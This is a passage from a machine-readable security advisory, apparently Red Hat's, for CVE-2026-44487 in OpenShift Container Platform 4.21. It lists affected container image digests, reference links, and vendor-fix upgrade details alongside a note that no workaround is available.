"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "RHBZ#2487948",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487948"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v",
"url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
}
],
"release_date": "2026-06-11T15:38:25.150000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
